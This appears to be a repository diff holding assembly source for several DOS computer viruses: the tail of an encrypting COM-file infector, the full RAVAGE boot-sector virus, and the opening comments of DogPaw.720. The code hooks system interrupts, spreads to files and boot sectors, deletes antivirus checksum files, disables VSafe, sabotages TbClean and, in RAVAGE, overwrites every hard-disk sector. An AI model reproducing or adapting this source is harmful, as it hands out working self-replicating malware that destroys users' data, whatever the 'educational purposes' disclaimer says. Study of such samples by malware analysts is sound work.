INFEC: MOV DL,[BP+OFFSET VAL_1] ;Encryption value into DL.
INT 0D0h ;Neat way to infect a file!
CLOSE: CALL RTIME ;Restore File time & date.
MOV AH,3Eh ;Close file.
INT 21h ;Call DOS.
CALL RENAME2 ;Restore back to COM file.
CALL RATTRIB ;Restore File attributes.
;-----------------------------------------------------------------------------
EXIT: CALL DELSTUF ;Delete CRC checkers.
EXIT1: MOV AH,1Ah ;Restore old DTA.
MOV DX,[BP+OFFSET OLD_DTA] ;Old DTA address.
INT 21h ;Call DOS.
EXIT2: MOV AH,0Eh ;Restore startup drive.
MOV DL,BYTE PTR[BP+OFFSET OLDRV];Old drive code.
INT 21h ;Call DOS.
MOV AH,3Bh ;Goto startup directory,
LEA DX,[BP+OFFSET BUFFER] ;that is stored here.
INT 21h ;Call DOS.
EXIT3: CALL RINTD0 ;Restore original INT D0
CALL RINT24 ;Restore original INT 24
EXIT4: MOV AX,100h ;Return address.
PUSH AX ;Put it on stack.
RET ;Pass control to HOST.
;-----------------------------------------------------------------------------
DUMEX: MOV DI,0100h ;This is a dummy exit, it screws up
LEA SI,[BP+DEXIT] ;TbClean. In stead of cleaning the
MOV CX,3 ;phile, it puts a program terminating
REPNZ MOVSB ;interrupt in the beginning of the
MOV AX,0100h ;victim, neat huh!
PUSH AX ;
RET ;
;-----------------------------------------------------------------------------
BETWEEN:MOV AH,3Eh ;Close the file.
INT 21h ;Call DOS
JMP LETSGO ;Find next file.
CHKINF: MOV AX,3D00h ;Open file with only read acces.
MOV DX,WORD PTR[BP+OFFSET NP];Offset filename.
INT 21h ;Call DOS.
MOV BX,AX ;File handle into BX.
XOR CX,CX ;-
XOR DX,DX ;/
MOV AX,4202h ;Move file pointer to end.
INT 21h ;Call DOS.
SUB AX,VIRLEN ;
MOV DX,AX ;
MOV AX,4200h ;Move file pointer to vircode.
INT 21h ;Call DOS.
MOV AH,3Fh ;Read file.
MOV CX,01h ;One Byte.
LEA DX,[BP+OFFSET MARK1] ;Into this address.
INT 21h ;Call DOS.
CMP BYTE PTR [BP+OFFSET MARK1],0E8h; Is it infected?
JE BETWEEN ;Yes, find another.
CALL BPOINT ;Go to EOF.
CMP AX,MAXLEN ;Is the file to long?
JNB BETWEEN ;Yes, find another.
CMP AX,MINLEN ;Is it to short?
JBE BETWEEN ;Yes, find another.
MOV AH,3Eh ;Close the file.
INT 21h ;Call DOS
RET ;Return to caller.
;-----------------------------------------------------------------------------
CHKDRV: CALL CHKDOS ;Check DOS version.
CMP AL,01 ;
JB DUMEX ;Screw up TbClean.
CMP AL,05h ;Is it DOS 5.0 or higher?
JNGE EXIT4 ;No, exit.
MOV AH,19h ;Get drive code.
INT 21h ;Call DOS.
MOV BYTE PTR[BP+OFFSET OLDRV],AL;Save old drive code.
RET ;Return to caller.
;-----------------------------------------------------------------------------
RESBEG: LEA SI,[BP+OFFSET ORIGNL] ;Offset original begin.
MOV DI,0100h ;Restore original instructions.
MOV CX,3 ;Restore 3 bytes.
REPNZ MOVSB ;Move them.
RET ;Return to caller.
;-----------------------------------------------------------------------------
CHKCOM: MOV CX,05 ;CX=len COMMAND.
MOV DI,[BP+OFFSET NP] ;Offset found file.
LEA SI,[BP+OFFSET COMMND] ;Offset COMMAND.
REPZ CMPSB ;Compare the strings.
RET ;Return to caller.
;-----------------------------------------------------------------------------
RENAME: MOV CX,0Ch ; This section renames the
MOV SI,WORD PTR[BP+OFFSET NP]; found and approved for
LEA DI,WORD PTR[BP+OFFSET NEWNAM]; infection file to a
REPNZ MOVSB ; *.TXT file. The reason for
LEA BX,WORD PTR[BP+OFFSET NEWNAM-1];this is that VPROTECT from
LPOINT: INC BX ; Intel has a rule based NLM.
CMP BYTE PTR[BX],'.' ; If we write to a COM file
JNE LPOINT ; VPROTECT gives an alarm
MOV DI,BX ; message. However, if we
MOV WORD PTR[BP+OFFSET TXTPOI],BX; write to a text file....
LEA SI,[BP+OFFSET TXT] ; Pretty solution isn't it?
MOVSW ;
MOVSW ;
MOV DX,WORD PTR[BP+OFFSET NP];
LEA DI,WORD PTR[BP+OFFSET NEWNAM];
MOV AH,56h ;Rename file function.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
RENAME2:LEA SI,[BP+OFFSET SPEC+1] ; In this section we
MOV DI,WORD PTR[BP+OFFSET TXTPOI]; give the infected file
MOVSW ; its old extention back.
MOVSW ; (*.COM)
MOV DX,WORD PTR[BP+OFFSET NP];
LEA DI,WORD PTR[BP+OFFSET NEWNAM];
MOV AH,56h ;Rename file function.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
ENKEY: CALL CHKTIME ;Get time.
MOV BYTE PTR[BP+OFFSET VAL_1],DL;New encryption key.
RET ;Return to caller.
;-----------------------------------------------------------------------------
SAVEDIR:MOV BYTE PTR[BP+OFFSET BUFFER],5Ch;
MOV DL,BYTE PTR[BP+OFFSET OLDRV];Drive code.
INC DL ;DL=DL+1 as func 47 is different.
MOV AH,47h ;Get current directory.
LEA SI,[BP+OFFSET BUFFER+1] ;Store current directory.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
DTA: MOV AH,2Fh ;Get DTA address.
INT 21h ;Call DOS.
MOV WORD PTR[BP+OFFSET OLD_DTA],BX; Save here.
LEA DX,[BP+OFFSET NEW_DTA] ;Offset new DTA address.
MOV AH,1Ah ;Give up new DTA.
INT 21 ;Call DOS.
ADD DX,1Eh ;Filename pointer in DTA.
MOV WORD PTR[BP+OFFSET NP],DX;Put in name pointer.
RET ;Return to caller.
;-----------------------------------------------------------------------------
INT24: MOV AX,3524h ;Get int 24 handler.
INT 21h ;into [ES:BX].
MOV WORD PTR[BP+OLDINT],BX ;Save it.
MOV WORD PTR[BP+OLDINT+2],ES;
MOV AH,25h ;Set new int 24 handler.
LEA DX,[BP+OFFSET NEWINT] ;DS:DX->new handler.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
RINT24: PUSH DS ;Save data segment.
MOV AX,2524h ;Restore int 24 handler
LDS DX,[BP+OFFSET OLDINT] ;to original.
INT 21h ;Call DOS.
POP DS ;Restore data segment.
RET ;Return to caller.
;---------------------------------------------------------------------------
RINTD0: PUSH DS ;Save data segment.
MOV AX,25D0h ;Restore int D0 handler
LDS DX,[BP+OFFSET INTD0] ;to original.
INT 21h ;Call DOS.
POP DS ;Restore data segment.
RET ;Return to caller.
;-----------------------------------------------------------------------------
VSAFE: MOV AX,3516h ;Get interrupt vector INT 16.
INT 21h ;(Now we know in wich segment it is.)
ADD BX,0364h ;Here we find a jump that we'll change.
CMP WORD PTR[ES:BX],0945h ;Is it THE jump?
JNE OK_9 ;No, already modified or not resident.
MOV WORD PTR[ES:BX],086Dh ;Yes, modify it.
OK_9: RET ;Return to caller. No Vsafe.
;-----------------------------------------------------------------------------
FIND1: MOV BYTE PTR[BP+OFFSET VAL_2],0FFh; This routine is derived from
MOV BX,01h ; the VIENNA virus. (Why invent the
FIND2: PUSH ES ; wheel twice?)
PUSH DS ;- Save registers.
MOV ES,DS:2CH ;
MOV DI,0 ;ES:DI points to environment.
FPATH: LEA SI,[BP+OFFSET PATH] ;Point to "PATH=" string in data area.
LODSB ;
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long.
REPNZ SCASB ;Search for first character.
MOV CX,4 ;Check if path
LOOP_2: LODSB ;is complete.
SCASB ;
JNZ FPATH ;If not all there, abort & start over.
LOOP LOOP_2 ;Loop to check the next character.
XCHG SI,DI ;Exchange registers.
MOV CL,BYTE PTR[BP+OFFSET VAL_2];Random value in CL.
PUSH ES ;\
POP DS ;-) Get DS, ES on address.
POP ES ;/
OK_14: LEA DI,[BP+OFFSET NEW_DTA+50];Offset address path.
OK_10: MOVSB ;Get name in path.
MOV AL,[SI] ;
CMP AL,0 ;Is it at the end?
JE OK_11 ;Yes, replicate.
CMP AL,3Bh ;Is it ';'?
JNE OK_10 ;Nope, next letter.
INC SI ;For next loop. ';'=';'+1.
INC BX ;
LOOP OK_14 ;Loop until random value = 0.
OK_11: POP DS ;Restore data segment.
MOV AL,0 ;Place space after the directory.
MOV [DI],AL ;
RET ;Return to caller.
;-----------------------------------------------------------------------------
DELSTUF:MOV BX,01h ;Set counter
PUSH BX ;and push it.
LEA DX,[BP+OFFSET MICRO] ;Is there a CHKLIST.MS file?
JMP INTER ;Check it out.
SECOND: LEA DX,[BP+OFFSET TBAV] ;Is there a ANTI-VIR.DAT file?
INC BX ;Increase counter
PUSH BX ;and push it.
JMP INTER ;Check it out.
THIRD: LEA DX,[BP+OFFSET CENTRAL] ;Is there a CHKLIST.CPS file?
INC BX ;Increase counter
PUSH BX ;and push it
INTER: MOV AH,4Eh ;Find first matching entry.
MOV CX,110b ;Search all attributes.
INT 21h ;Call DOS.
JC NODEL ;No match, find next.
CALL ATTRIB ;Clear attributes.
MOV AH,41h ;Delete file.
INT 21h ;Call DOS.
NODEL: POP BX ;Pop counter.
CMP BX,01 ;Had the first one?
JE SECOND ;Yes, do the second.
CMP BX,02 ;Was it the second?
JE THIRD ;Yes, do the third.
RET ;Finished, return to caller.
;-----------------------------------------------------------------------------
CHDRIVE:MOV CX,0FFFFh ;Clear CX.
MOV BL,'A'-1 ;AH=40
OK_15: INC BL ;AH=41='A'
INC CX ;CX=1
CMP BL,BYTE PTR[BP+OFFSET NEW_DTA+50];New drive letter.
JNE OK_15 ;Not the same, go again.
MOV DL,CL ;Calculated the new drive code.
MOV AH,0Eh ;Give up new drive code.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
RTIME: MOV AX,5701h ;Restore time & date.
MOV CX,WORD PTR[BP+OFFSET TIME];Old time.
MOV DX,WORD PTR[BP+OFFSET DATE];Old date.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
STIME: MOV AX,5700h ;Get file date & time.
MOV BX,[BP+OFFSET HANDLE] ;File Handle.
INT 21h ;Call DOS.
MOV WORD PTR[BP+OFFSET TIME],CX;Store time.
MOV WORD PTR[BP+OFFSET DATE],DX;Store date.
RET ;Return to caller.
;-----------------------------------------------------------------------------
BPOINT: XOR DX,DX ;Zero register.
MOV AX,4202h ;Move file pointer to top.
XOR CX,CX ;Zero register.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
ATTRIB: MOV DX,WORD PTR[BP+OFFSET NP];Offset in DTA.
MOV AX,4300h ;Ask file attributes.
INT 21h ;Call DOS.
LEA BX,[BP+OFFSET ATTR] ;Save address for old attributes.
MOV [BX],CX ;Save it.
XOR CX,CX ;Clear file attributes.
MOV AX,4301h ;Write file attributes.
INT 21h ;Call DOS.
JNC OK ;No error, proceed.
CALL EXIT ;Oh Oh, error occured. Quit.
OK: RET ;Return to caller.
;-----------------------------------------------------------------------------
RATTRIB:LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
LEA BX,[BP+OFFSET ATTR] ;Offset address old attributes.
MOV CX,[BX] ;Into CX.
MOV AX,4301h ;Write old values back.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
GODIR: LEA DX,[BP+OFFSET NEW_DTA+52];Offset directory spec.
MOV AH,3Bh ;Goto the directory.
INT 21h ;Call DOS.
RET ;Return to caller.
;-----------------------------------------------------------------------------
RANDOM: CALL CHKTIME ;Get system time.
MOV CX,0 ;Figure this out by yourself.
MOV AX,100d ;It is a random generator with
OK_19: INC CX ;two variable inputs.
SUB AX,BX ;A: How many dir's in the path.
CMP AX,01d ;B: Random system time.
JGE OK_19 ;With this values, we create a
XOR BX,BX ;random value between 1 and A.
OK_20: INC BX ;
SUB DL,CL ;
CMP DL,01d ;
JGE OK_20 ;
MOV BYTE PTR[BP+OFFSET VAL_2],BL;Save value.
RET ;Return to caller.
;-----------------------------------------------------------------------------
BEGIN1: PUSH SP ;
POP BX ;Everything is related to BP.
MOV BP,WORD PTR[BX] ;
SUB BP,0145h ;In first run BP=0
RET ;
;-----------------------------------------------------------------------------
NEWINT: MOV AL,03h ;New INT 24.
IRET ;No more write protect errors!
;-----------------------------------------------------------------------------
INSTSR2:PUSH ES ;-Save registers.
PUSH DS ;/
MOV AX,0DEDEh ;Resident check.
INT 21h ;Call DOS.
CMP AH,41h ;\
JNE NOBRO ;-Little Brother virus in memory?
CALL EXIT4 ;If resisent, do nothing.
NOBRO: MOV AX,3D3Dh ;Resident check.
INT 21h ;Call DOS.
CMP AX,1111h ;\
JNE NOGETP ;-Getpass! virus resident ?.
CALL EXIT4 ;If resident, quit.
NOGETP: MOV AX,35D0h ;Save old interrupt vector INT D0.
INT 21h ;Call DOS.
MOV WORD PTR[BP+OFFSET INTD0],BX
MOV WORD PTR[BP+OFFSET INTD0+2],ES
MOV AX,0044h ;
MOV ES,AX ;
MOV DI,0100h ;
LEA SI,[BP+OFFSET INFECT] ;Offset address infection routine.
MOV CX,TSR2LEN ;Length to install.
REP MOVSB ;Install it.
PUSH ES ;
POP DS ;
MOV AX,25D0h ;Give up new INT D0 vector.
MOV DX,0100h ;
INT 21h ;Call DOS.
POP DS ;
POP ES ;
RET ;Return to caller.
;-----------------------------------------------------------------------------
PATH DB 'PATH=' ;Used to find environment.
SPEC DB '*.COM',0 ;File search specification.
TXT DB '.TXT',0 ;Rename file specification.
OUTPUT DB 0 ;Output byte to printer.
TXTPOI DW 0 ;Pointer in specification.
MARK1 DB 0 ;Used for infection check.
VAL_2 DB 0 ;Random value for directory switching.
OLDRV DB 0 ;Old drive code.
BEGIN2 DW 0 ;
NWJMP1 DB 0EBh,0 ;
FLAGT DB 0 ;
COMMND DB 'COMM',0 ;
MICRO DB 'CHKLIST.MS',0 ;- Files to be deleted.
CENTRAL DB 'CHKLIST.CPS',0 ;/
TBAV DB 'ANTI-VIR.DAT',0 ;/
VIRNAME DB ' Wrong copied DNA = Evolution '
DB ' I am Life.'
DB ' Greetings ,ThE wEiRd GeNiUs '
OLD_DTA DW 0 ;Old DTA addres.
HANDLE DW 0 ;File handle.
COMSIGN DB 0 ;Command.com flag
TIME DB 2 DUP (?) ;File time.
DATE DB 2 DUP (?) ;File date.
ATTR DB 1 DUP (?),0 ;Attributes.
INTD0 DW 0,0 ;
NEWJMP DB 0E9h,0,0 ;Jump replacement.
ORIGNL DB 0CDh,020h,090h ;Original instrucitons.
DEXIT DB 0CDh,020h,090h ;Dummy exit instructions.
NEWNAM DB 0Dh DUP (?) ;New file name.
OLDINT DW 0 ;Old INT 24 vector.
NP DW ? ;New DTA address.
;-----------------------------------------------------------------------------
INFECT: PUSH BX ;Save file handle.
PUSH DX ;Save encryption key.
PUSH BX ;Save file handle.
CALL DNCRYPT ;Encrypt the virus code.
POP BX ;Restore file handle.
LEA DX,[BP+OFFSET VSTART] ;Begin here.
MOV CX,VIRLEN ;Write this many Bytes.
MOV AH,40h ;Write to file.
INT 21h ;Call DOS.
POP DX ;Restore encryption value.
CALL DNCRYPT ;Fix up the mess.
POP BX ;Restore file handle.
DUMMY: IRET ;Return to caller.
;-----------------------------------------------------------------------------
DNCRYPT:LEA BX,[BP+OFFSET CSTART] ;De/en-crypt from here.
MOV DH,DL ;
MOV CX,CRYPTLEN ;Set counter.
Y_LOOP: XOR [BX],DL ;Xor the code on address BX.
SUB DL,DH ;-To change form of scrambled code.
SUB DH,02Eh ;/
INC BX ;Increase address.
LOOP Y_LOOP ;Repeat until done.
NOTENC: RET ;Return to caller.
;-----------------------------------------------------------------------------
BUFFER: DB 64 DUP (?) ;Here we store directory info.
;-----------------------------------------------------------------------------
NEW_DTA: ;Here we put the DTA copy.
;-----------------------------------------------------------------------------
CODE ENDS
END START
;=============================================================================
+572
View File
@@ -0,0 +1,572 @@
; RAVAGE BSV Written by RP & muRPhy October 1996
; version 9.0 [ New Generation ] -- WIN95 compatible :-)
;
;Replicator module (c) 1994-96 RP, Bucharest
;Tips & tricks (c) 1995-96 muRPhy, Bucharest
;Final version full options Warning!!! Distructive sequence included!
;This source code is for educational purposes only. The author is not
;responsible for any problems caused due to the assembly of this file"
.286
code segment
assume cs:code
org 100h
start:
q db 7b00h dup(90h)
timer equ 08h
jmp begin
bootrecord db 32 dup(0) ;min=32
;............. Entry point ..............................
begin:
push cs
mov di,414h; steal 1k of RAM
pop ds
mov byte ptr ds:[04a1h],0eah ;pun cod de jmp xxxx:xxxx pt INT 40H
dec di ;added code for jmp xxxx:xxxx for INT 40H
dec ds:word ptr[di]
mov ax,ds:word ptr[di]
shl ax,6 ;only >80186
sub ax,07c0h
push ax
push ax
;.......................................................
mov ax,0201h; read the other sector of the virus
push cs
pop es
mov bx,7e00h
mov cx,000fh
cxpar equ this word
mov dx,0080h
dxpar equ this word
int 13h
mov word ptr ds:[offset temp-2],609Ch ;refac cod de pushf pusha
;restoring code for pushf pusha
; mov bx,0100h ;get original INT 40H
mov bh,01 ;bl already 00 from bx=7e00
les ax,[bx]
mov ds:[int40seg],es ;store original INT 40H
mov ds:[int40ofs],ax
;.......................................................
pop ax
mov bx,04a2h ;prepare code at 0:4a1h for jmp xxxx:xxxx
mov [bx],offset int40
mov word ptr [bx+02],ax
mov bx,004ch; get & corrupt int 13h
xchg ds:[bx+2],ax
mov ds:[int13seg],ax
mov ax,offset int13
xchg ds:[bx],ax
mov ds:[int13ofs],ax
;.......................................................
pop es
mov si,7c00h; transfer virus code
mov di,si
cld
xor cx,cx
mov ch,02 ;anti TBAV flag O
rep movsw
cli
mov ax,es ;get & corrupt INT 08H
; mov bx,timer*4
mov bl,timer*4 ;bh already 00 from bx=004ch
xchg ds:[bx+2],ax
mov es:[int08seg],ax
mov ax,offset int08
xchg ds:[bx],ax
mov es:[int08ofs],ax
mov ax,0201h ; fast boot infector sequence
mov dx,0080h
inc cx
int 13h
call testziuaz ; is it trash day ?
cmp dx,0303h
ziuaz equ this word
jnz boot
jmp entry
boot:
int 19h
;------------------- int 40h
jmpint40:
db 0eah
int40ofs dw 0
int40seg dw 0
;----------------- Corrupted entry in INT 40H
int40:
cmp ah,02h
jnz jmpint40
cmp cx,0001
jnz jmpint40
or dh,dh
jnz jmpint40
call disketa
jmp short verificare
;................. jmp int 13 ............................
jmpint13:
db 0eah; jmp xxxx:xxxx
int13ofs dw 0
int13seg dw 0
;...........................................................
cmp03:
cmp ah,03
jne jmpint13
cmp dl,80h
jb jmpint13
jmp short contcmp
;...........................................................
int13: ; FAR PROCEDURE FOR HANDLING INTERRUPT 13H
cmp ah,02h
jnz cmp03
;---
cmp dl,80h ;pe HDD
jb contcmp
or dh,dh ;head 0?
jnz contcmp
cmp cx,000eh ;se redirecteaza 14 si 15 pe 13 presupus cu zerouri
jz fak ;sau cu orice altceva
cmp cx,000fh ;show instead of sectors 14 and 15 , sector 13
jnz contcmp ;sector 13 supposed zeroed or whatever
;not quite good implemented but works anyway
fak:
mov cl,0dh
jmp jmpint13
;---
contcmp:
cmp cx,0001
jnz jmpint13
or dh,dh; <=> cmp dh,00
jnz jmpint13
cmp dl,80h
jae hard
call disketa
jmp short verificare
hard:
call callint13; it was requested a read action for the boot
verificare:
jc giveup
cmp es:word ptr[bx+1bch],0202h; is it infected?
jz showboot
call compute
mov ax,0301h; write real boot on computed sector
call callint13
jnc continue
clearerr:
clc
giveup:
retf 0002
showboot:
call compute
mov ax,0201h
call callint13
jmp short giveup
;-------------------------
continue:
push es
push bx
push cs
pop es
mov ax,0301h; write the other sector of the virus
inc cx
mov cs:[offset cxpar-2],cx
mov cs:[offset dxpar-2],dx
mov bx,7e00h
call callint13
pop bx
pop es
jc clearerr
push es
push bx
push ds
push si
push di
push es
pop ds
push cs
pop es
mov si,bx
add si,1beh; copy the partition into the virus code
mov di,7dbeh
mov cl,21h
cld
rep movsw
mov si,bx; copy the boot record into the virus code
add si,3
mov di,7c03h
mov cl,16
rep movsw
cmp dl,80h
jb normal
;-----
pusha
mov ah,05; bypass BIOS protection;place Y into keyboard buffer.
mov cl,59h
int 16h
call resetcmosflag
inc cs:word ptr [counter]
call testziuaz
mov al,dh
cmp al,09h
ja maimare ;"maimare " means "greater than"
add al,12h ;in Romanian language, of course...
daa
maimare:
sub al,09h
das
mov dh,al
mov cs:word ptr [offset ziuaz-2],dx
popa
;-----
normal:
inc cx ;salvez cx=0000 cu pusha dupa rep movsw =>cx=0001
;cx=0000 saved by pusha after rep movsw =>cx=0001
iar:
mov ax,0301h; write the virus onto the disk
mov bx,7c00h
xor dh,dh
call callint13
jc iar
call resetkeyboard
afar:
pop di
pop si
pop ds
pop bx
pop es
jmp giveup
disketa:
pushf
call cs:dword ptr [int40ofs]
ret
counter dw 0
virsign dw 0202h
partition1 db 80h,01h,01,00,06,0eh,201,231,11h,0,0,0,07,228,03,00
;take care (this is my partition)
;you'll have to change this with yours
db 30h dup (0)
db 55h,0aah
;............ Second sector ..............................
int2f: ;FAR PROCEDURE FOR HANDLING INTERRUPT 2FH
pushf
pusha
push ds
push es
xor bx,bx
mov ds,bx
mov bx,07b4h
cmp ax,1605h ;is it Init Windows ?
jne cont2f
mov ax,cs:[int13ofs] ;restore original handler of INT 13H
mov ds:[bx],ax
mov ds:[bx+0806h-07b4h],ax
mov ax,cs:[int13seg]
mov ds:[bx+2],ax
mov ds:[bx+2+0806h-07b4h],ax
mov ah,62h ;Get Active PSP segment
int 21h
mov ds,bx
mov ax,ds:[002ch] ;Get environment segment
mov es,ax
xor di,di
cld
mov cx,0050h
mov al,'o'
repnz scasb
cmp es:[di],'to' ; winbootdir?
jnz jmpint2f
add di,+06
push es
pop ds
mov dl,ds:[di]
sub dl,'C'-2
mov ah,0eh
int 21h
push di
pop dx
mov ah,3bh ;Change Directory to folder of WIN95
int 21h ;
; apelul windows de genul:
; win setup.exe nu se va realiza cum trebuie
;
;I guess if someone'll run something like
;win setup.exe worse things'll happen
;doesn't matter anyway (few of them will
;run win in this way)
push cs
pop ds
mov ah,41h ; Unlink ds:dx
mov dx,offset floppydriver
int 21h ;ideal ar fi sa nu dea eroare AX=1606h
;here I suppose AX will differ from 1606h
;more than that...I'm sure AX <> 1606h
cont2f:
cmp ax,1606h ;is it Exit Windows?
jne jmpint2f
mov ax,offset int13 ;corrupt again handler of INT 13H
mov ds:[bx],ax
mov ds:[bx+0806h-07b4h],ax
mov ds:[bx+2],cs
mov ds:[bx+2+0806h-07b4h],cs
cmp byte ptr ds:[04a6h],0DAH ;is flag set ?
jz entry
jmpint2f:
pop es
pop ds
popa
popf
db 0eah; jmp xxxx:xxxx
int2fofs dw 0
int2fseg dw 0
;----------------------------------
entry:
push cs
pop ds
mov si,offset txt-1
video:
mov ax,0010h
int 10h
mov ah,0eh
mov bl,0ah
repeta:
std
lodsb
cmp al,'$'
jz distroi
int 10h
jmp short repeta
distroi:
mov cx,0001h
destroyagain:
mov ax,030eh
mov dx,0180h
call callint13
call resetcmosflag
in al,21h ;disable keyboard
or al,02
out 21h,al
inc ch
jnz destroyagain ;
add cl,40h ;for all existing cylinders > 256
jmp short destroyagain
;..........................INT 21H
int21:
pushf
pusha
push ds
push es
mov di,dx
xor ah,4bh
jnz oldint21
push ds
pop es
xor al,al
cld
mov cl,0ffh
repnz scasb
std
mov al,'\'
repnz scasb
mov ax,ds:[di+02]
and ax,0dfdfh
cmp ax,'AR'
jnz oldint21
mov ah,ds:[di+04]
and ah,0dfh
cmp ah,'V'
jnz oldint21
mov al,01
out 70h,al
in al,71h
cmp al,126 ;max value for counter
jne ravnormal
mov ax,1600h ;checking Win active
int 2fh
or al,al
jz entry ;al=0 means Win not active
xor ax,ax
mov ds,ax
mov byte ptr ds:[04a6h],0DAh ;set flag on low memory
jmp short oldint21
;------------------------
ravnormal:
inc ax
push ax
mov al,01
out 70h,al
pop ax
out 71h,al
oldint21:
pop es
pop ds
popa
popf
db 0eah; JMP xxxx:xxxx
int21ofs dw 0
int21seg dw 0
;............... INT 08H .......................................
int08:
pushf
pusha
temp equ this word
push es
push ds
xor di,di ;DI=0000h
mov ds,di ;DS=0000h
mov ax,0b8ah
mov es,ax
cld
mov ax,'EP'
mov cx,0ffffh ;"cautare" means "searching"
;for those of you who don't speak
; Romanian language ;-)
cautare:
repnz scasw
or cx,cx
jz notyet
cmp es:[di],'=C'
jnz cautare
push cs
pop ax ; ax =residseg
mov di,02fh*4 ;Save segment INT 2Fh
xchg [di+02],ax ;Corrupt segment 2FH
mov cs:[int2fseg],ax
mov ax,offset int2f ;Save & corrupt offset INT 2FH
xchg [di],ax
mov cs:[int2fofs],ax
push cs
pop ax
mov di,021h*4 ;Save segment INT 21h
xchg [di+02],ax ;Corrupt segment 21H
mov cs:[int21seg],ax
mov ax,offset int21 ;Save & corrupt offset INT 21H
xchg [di],ax
mov cs:[int21ofs],ax
;Command.com alocat
inc word ptr ds:[0413h] ;refac la 0:413h
;restoring 0:413h
mov bx,0100h
mov word ptr ds:[bx],04a1h ;corrupt INT 40 to point 0:04a1h
mov word ptr ds:[bx+02],0 ;to a jmp far code
mov word ptr cs:[offset temp-2],[(offset peste)-(offset temp)] shl 8+ 0ebh
; dezactiveaza rutina de pe system timer (INT 08H)
; disabling (handler) routine for INT 08H
notyet:
pop ds
pop es
popa
popf
peste equ this word
db 0eah
int08ofs dw 0
int08seg dw 0
floppydriver db 'system\iosubsys\hsflop.pdr',0
testziuaz:
mov ah,04
int 1ah
cmp dl,28h
jbe nochange
mov dl,28h
nochange:
ret
callint13:
pushf
call cs:dword ptr[int13ofs]
ret
resetcmosflag:
mov al,01
out 70h,al
mov al,100 ;set counter in CMOS for RAV
out 71h,al ; RAV stands for Romanian AntiVirus
ret ;an AV prog from ROMANIA
compute:
mov cl,14
cmp dl,80h
jae back
mov dh,1
mov al,es:byte ptr[bx+15h]
cmp al,240; f0h 1.44 disk
je back
mov cl,3
back:
ret
resetkeyboard:
cmp dl,80h
jb nu
xor bx,bx
mov ds,bx
mov bl,1eh
mov ds:[041ah],bx
mov ds:[041ch],bx
nu:
ret
; '$RAVage is wiping data! RP&muRPhy '
text db '$yhPRum&PR !atad gnipiw si egaVAR'
txt equ this word
code ends
end start
muRPhy (c)96
@@ -0,0 +1,607 @@
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; DogPaw.720 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; This simple DOS virus exploits a certain feature graciosly implemented for
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
; has to do with non-DOS aplicationz run from DOS boxez opened under these
; 32-bit systemz. It doesnt aply to Win3.1, tho.
;
; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
; the comon frustratin mesage "This program cannot be run in DOS mode" or
; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
; always lookin for enhancementz finaly made it right with NT and Win95 and
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
; execute a non-DOS aplication from a DOS box, the system loader no longer
; executes the DOS stub program which displays such mesage, it actually ends
; up executin the real Win3.1 or Win32 aplication just as if u had double-
; clicked the program on yer desktop to execute it. But what has this thing
; got to do with us? Can this feature be used in a virus? the answer is yes.
;
; I wrote this virus just to ilustrate how the above feature can be cleverly
; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
; antidebug, etc. but it implements full stealth tho, and encrypts data of
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
; from undernet #virus as he seems to be the first one havin exploited this.
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
: NT and OS/2 programz. It infects filez on close and execute and disinfects
; them on open. I dont like this kind of stealth at all but it was more than
; necesary in order to exploit the forementioned feature.
;
; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
; includin its MZ header and stores it at the end of the file, then it over-
; writes the first 720 bytez of the host with the virus code itself, which
; is really DOS program code. This way what the virus really does is conver-
; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
; tainin virus code. This doesnt mean that such filez are trojanized or da-
; maged, they are fully functional after infection, read on.
;
; When a DogPaw-infected file is executed, the system treats it as a genuine
; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
; This way the virus executes as a DOS 16-bit program and plants a resident
; copy in DOS memory. After this the virus has to execute the original apli-
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
; sinfects the host by decryptin the original data at the end of file and
; writes it back to the begin of file previosly overwriten with virus code.
; Next the virus executes the original host and, becoz of the above feature,
; the system finally executes the original Win3.1, Win32 or OS/2 aplication
; just as if it had been executed from outside a DOS box.
;
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
; want people to write clumsy DOS programz, tho it is still suportin old DOS
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
; needed in order to make the migration from DOS to Win32 less painfully and
; troublesome. But once this DOS compatibility disapears from these systemz,
; those nonDOS programz infected by this virus wont be able to run or spread
; further from inside these 32-bit OS's. As u can see its not wise at all to
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
; For this purpose we must interact directly with the 32-bit file format, ie
; the PE format itself. There is no way to circumvent this in the future ;)
;
;
; A dog paw tale
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Some weekz ago i stole my dady's car to take a short ride around the block
